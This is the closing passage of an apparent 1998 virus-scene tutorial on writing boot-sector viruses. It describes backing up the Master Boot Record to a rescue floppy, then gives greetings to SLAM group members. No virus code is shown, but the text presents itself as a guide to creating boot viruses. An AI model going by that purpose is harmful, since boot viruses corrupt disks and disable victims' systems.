So hmm... compile the above code with TASM/TLINK and then run the program with the "0" parameter. It will create a file called BOOTPART.CAP that contains a copy of the Master Boot Record and the Boot Sector of the first hard disk installed in your system. Then create a "clean" system floppy disk and copy the program and the BOOTPART.CAP file on it. So, there you have it: an emergency diskette... just in case something goes wrong with your boot virus and you screw things up. Write protect the disk and store it in a safe place (away from smoke and water ;-). Also it would be quite wise to save the DiskEditor utility from the Norton Utilities package made by Symantec. You will only need two files: DISKEDIT.EXE and NLIB200.RTL. Save them on your disk and write protect the disk. The Disk Editor will be quite usefull if you want to see how does your sectors look like. Hell, i use it all the time... So should you!
7. Thanks, greetings and other unimportant things :)
B00P... I think that I said all that I had to say... You should now be able to create your own boot virus. If you're still confused about what's going on here, then I guess I really screwed things up... :-/ Oh well, let's just hope I didn't.
Thanks goes out to CyberYoda/SLAM and to Trigger/SLAM for giving me advices when I needed 'em. (Hey Yoda, this wouldn't had been so BIG if it weren't for you man! :).
Best regards to: all the SLAM members, Unknown, IndianOwl, Pawk, Int13h, to all the regulars of #vir and to all my other friends from the scene.
This is the end,
Beautiful friend.
Virtual Daemon / SLAM 1998